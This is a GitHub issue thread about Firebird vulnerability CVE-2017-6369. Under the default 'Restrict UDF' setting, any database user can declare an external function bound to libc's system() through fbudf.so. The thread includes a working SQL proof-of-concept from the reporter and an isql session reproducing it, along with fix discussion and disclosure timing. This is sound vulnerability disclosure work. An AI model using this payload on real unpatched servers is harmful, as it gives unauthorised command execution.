Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

'Restrict UDF' is not effective, because fbudf.so is dynamically linked against libc [CORE5474] #5744

Closed
firebird-issue-importer opened this issue Feb 1, 2017 · 25 comments

Comments

@firebird-issue-importer
Copy link

@firebird-issue-importer firebird-issue-importer commented Feb 1, 2017

Submitted by: George Noseevich (webpentest)

The default setting for UDF access when installing firebird 2.5.6 on linux is 'UdfAccess = Restrict UDF', which allows access to any symbols defined in udf libraries shipped with firebird within UDF folder. There are two libraries there - http://fbudf.so and ib_udf.so. Both of them are dynamically linked with libc:

ldd /opt/firebird/UDF/fbudf.so
linux-vdso.so.1 (0x00007fff4e129000)
libm.so.6 => /usr/lib/libm.so.6 (0x00007f38b1389000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007f38b116c000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f38b0dce000)
/usr/lib64/ld-linux-x86-64.so.2 (0x000055562c490000)

Any DB user can use this to escalate his privileges to code execution:

DECLARE EXTERNAL FUNCTION EXEC cstring\(4096\), integer RETURNS integer BY VALUE ENTRY\_POINT 'system' MODULE\_NAME 'fbudf' ;
select first 1 EXEC\('touch /tmp/proof'\) from some\_table;

If this is a design decision, this should be more clearly documented (current comments in firebird.conf suggest that 'restricted' UDF provides some additional protection as opposed to None). If not, this should probably be fixed by statically linking all that is needed by this .so files and double-checking that the exports table is fine.

I also think it is a good idea to provide some level of additional access control for external functions. I.e. only SYSDBA or selected users can declare/alter/drop external functions.

PS: I am restricting access to the issue as this is, from my viewpoint, a security vulnerabilty and the POC is included. I did mention this on twitter (quite carelessly) before I understood that it applies to all users, not just SYSDBA, but without a POC. Anyway, this bypass is so simple, that it is probably already widely known among people who hack things.

PPS. Didn't have time to test this on FB 3 or on Windows.

Commits: 761a8f8 292321b a802126 fc5d600 9d9b9e0 56e9a73 8b2a9cb

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 1, 2017

Modified by: George Noseevich (webpentest)

description: The default setting for UDF access when installing firebird 2.5.6 on linux is 'UdfAccess = Restrict UDF', which allows access to any symbols defined in udf libraries shipped with firebird within UDF folder. There are two libraries there - http://fbudf.so and ib_udf.so. Both of them are dynamically linked with libc:

ldd /opt/firebird/UDF/fbudf.so
linux-vdso.so.1 (0x00007fff4e129000)
libm.so.6 => /usr/lib/libm.so.6 (0x00007f38b1389000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007f38b116c000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f38b0dce000)
/usr/lib64/ld-linux-x86-64.so.2 (0x000055562c490000)

Any DB user can use this to escalate his privileges to code execution:

DECLARE EXTERNAL FUNCTION EXEC cstring\(4096\), integer RETURNS integer BY VALUE ENTRY\_POINT 'system' MODULE\_NAME '<http://fbudf.so>' ;
select first 1 EXEC\('touch /tmp/proof'\) from some\_table;

If this is a design decision, this should be more clearly documented (current comments in firebird.conf suggest that 'restricted' UDF provides some additional protection as opposed to None). If not, this should probably be fixed by statically linking all that is needed by this .so files and double-checking that the exports table is fine.

I also think it is a good idea to provide some level of additional access control for external functions. I.e. only SYSDBA or selected users can declare/alter/drop external functions.

PS: I am restricting access to the issue as this is, from my viewpoint, a security vulnerabilty and the POC is included. I did mention this on twitter (quite carelessly) before I understood that it applies to all users, not just SYSDBA, but without a POC. Anyway, this bypass is so simple, that it is probably already widely known among people who hack things.

PPS. Didn't have time to test this on FB 3 or on Windows.

=>

The default setting for UDF access when installing firebird 2.5.6 on linux is 'UdfAccess = Restrict UDF', which allows access to any symbols defined in udf libraries shipped with firebird within UDF folder. There are two libraries there - http://fbudf.so and ib_udf.so. Both of them are dynamically linked with libc:

ldd /opt/firebird/UDF/fbudf.so
linux-vdso.so.1 (0x00007fff4e129000)
libm.so.6 => /usr/lib/libm.so.6 (0x00007f38b1389000)
libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007f38b116c000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f38b0dce000)
/usr/lib64/ld-linux-x86-64.so.2 (0x000055562c490000)

Any DB user can use this to escalate his privileges to code execution:

DECLARE EXTERNAL FUNCTION EXEC cstring\(4096\), integer RETURNS integer BY VALUE ENTRY\_POINT 'system' MODULE\_NAME 'fbudf' ;
select first 1 EXEC\('touch /tmp/proof'\) from some\_table;

If this is a design decision, this should be more clearly documented (current comments in firebird.conf suggest that 'restricted' UDF provides some additional protection as opposed to None). If not, this should probably be fixed by statically linking all that is needed by this .so files and double-checking that the exports table is fine.

I also think it is a good idea to provide some level of additional access control for external functions. I.e. only SYSDBA or selected users can declare/alter/drop external functions.

PS: I am restricting access to the issue as this is, from my viewpoint, a security vulnerabilty and the POC is included. I did mention this on twitter (quite carelessly) before I understood that it applies to all users, not just SYSDBA, but without a POC. Anyway, this bypass is so simple, that it is probably already widely known among people who hack things.

PPS. Didn't have time to test this on FB 3 or on Windows.

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 2, 2017

Commented by: @asfernandes

What a bug!

It seems some OSs have RTLD_FIRST to restrict lookups for only the passed library, but glibc does not have it.

Should it be checked with dladdr after dlsym? But dladdr is also a function that is not always present.

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 2, 2017

Commented by: George Noseevich (webpentest)

It may also be possible to use dlinfo to list all the symbols and then disallow anything other than that, though I have no idea how portable this solution is.

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 2, 2017

Modified by: @asfernandes

priority: Major [ 3 ] => Critical [ 2 ]

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 2, 2017

Commented by: @asfernandes

Well, dlinfo is also a GNU extension, as well dladdr which is easy to use.

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 3, 2017

Modified by: @AlexPeshkoff

assignee: Alexander Peshkov [ alexpeshkoff ]

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 3, 2017

Commented by: @AlexPeshkoff

Dladdr is defintely preferred. Unlike dlinfo it's present de-facto on most of supported by us platforms.

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 6, 2017

Modified by: @AlexPeshkoff

status: Open [ 1 ] => Resolved [ 5 ]

resolution: Fixed [ 1 ]

Fix Version: 2.5.7 [ 10770 ]

Fix Version: 3.0.2 [ 10785 ]

Fix Version: 4.0 Alpha 1 [ 10731 ]

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 7, 2017

Commented by: @mkubecek

How carefully should this be handled? Is it OK to provide updated distribution packages with the fix (without sharing any information about the abuse mechanism beyond what is mentioned in the commit message)?

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 7, 2017

Commented by: @AlexPeshkoff

Previously we released packages and mentioned that they fix severe vulnerability. Details were disclosed approximately a month after it to let people update without great hurry.

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 7, 2017

Commented by: George Noseevich (webpentest)

TWIMC: I've tested this on windows (using fb 2.1 with win 2003, because that's what I needed) and this 'dll chaining' does not seem to work there. So the scope might be limited to *nix only.

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 8, 2017

Commented by: George Noseevich (webpentest)

I've also noticed that it is (still) possible to use 'internal' C++ symbols from http://fbudf.so, like Firebird::NoThrowTimeStamp::decode_timestamp (_ZN8Firebird16NoThrowTimeStamp16decode_timestampE13ISC_TIMESTAMPP2tmPi). May it be possible to use these to corrupt/manipulate memory in some unexpected ways? Is there a real need to make these symbols accessible in UDFs?

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 8, 2017

Commented by: @dyemanov

> I also think it is a good idea to provide some level of additional access control for external functions. I.e. only SYSDBA or selected users can declare/alter/drop external functions.
Just for the record, it's already done in FB3.

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 8, 2017

Commented by: @AlexPeshkoff

> May it be possible to use these to corrupt/manipulate memory in some unexpected ways?

Certainly possible. Moreover, it's very easy to corrupt something just passing invalid (i.e. unexpected by C code) parameters to absolutely valid entrypoints. The point of this issue is to avoid calling functions from underlying libraries, is not it so?

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 8, 2017

Commented by: George Noseevich (webpentest)

>> The point of this issue is to avoid calling functions from underlying libraries, is not it so?
Absolutely.
I was just wondering about other possible ways to use the default UDF functionality to escalate DBA to code exec and possible mitigations.

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 20, 2017

Modified by: @pavel-zotov

status: Resolved [ 5 ] => Resolved [ 5 ]

QA Status: No test => Cannot be tested

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 20, 2017

Modified by: @pavel-zotov

status: Resolved [ 5 ] => Closed [ 6 ]

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 28, 2017

Commented by: George Noseevich (webpentest)

MITRE assigned CVE-2017-6369 for this issue. Please let me know when the issue is ready for publication.

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 28, 2017

Commented by: @AlexPeshkoff

Will do.
Next week we plan to release 3.0.2 (2.5.7 is already out) and after it we should give one-two weeks for 3.0 users to upgrade.

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Mar 23, 2017

Modified by: @dyemanov

security: Developers [ 10012 ] =>

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Mar 29, 2017

Commented by: anarcat (anarcat)

What is the simplest way to reproduce this issue?

I've tried here and only got an error 3900:

SQL> DECLARE EXTERNAL FUNCTION EXEC cstring(4096), integer RETURNS integer BY VALUE ENTRY_POINT 'system' MODULE_NAME 'fbudf' ;
SQL> select first 1 EXEC('touch /tmp/proof') from SALES;
Statement failed, SQLSTATE = 39000
function EXEC could not be matched

anything i should enable or grant? this is as the default sysdba user...

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Mar 30, 2017

Commented by: @AlexPeshkoff

George, 3.0.2 is released and people had time to upgrade. I suppose it's OK to publish it.

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Mar 30, 2017

Commented by: @AlexPeshkoff

@anarcat

The following works for me:

#⁠ ./isql -z employee
ISQL Version: LI-V2.5.5.26952 Firebird 2.5
Server version:
LI-V2.5.5.26952 Firebird 2.5
Database: employee

SQL> DECLARE EXTERNAL FUNCTION system cstring(4096) RETURNS integer BY VALUE ENTRY_POINT 'system' MODULE_NAME 'fbudf';
SQL> select system('touch /tmp/proof') from rdb$database;

  SYSTEM 

============
0

SQL> shell ls /tmp/proof;
/tmp/proof
SQL>

@firebird-issue-importer
Copy link
Author

@firebird-issue-importer firebird-issue-importer commented Feb 1, 2021

Modified by: @pavel-zotov

status: Closed [ 6 ] => Closed [ 6 ]

QA Status: Cannot be tested => Deferred

@hvlad
Copy link
Member

@hvlad hvlad commented Jul 8, 2021

Conversation is locked to prevent further spam comments on it

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Projects
None yet
Linked pull requests

Successfully merging a pull request may close this issue.

None yet
3 participants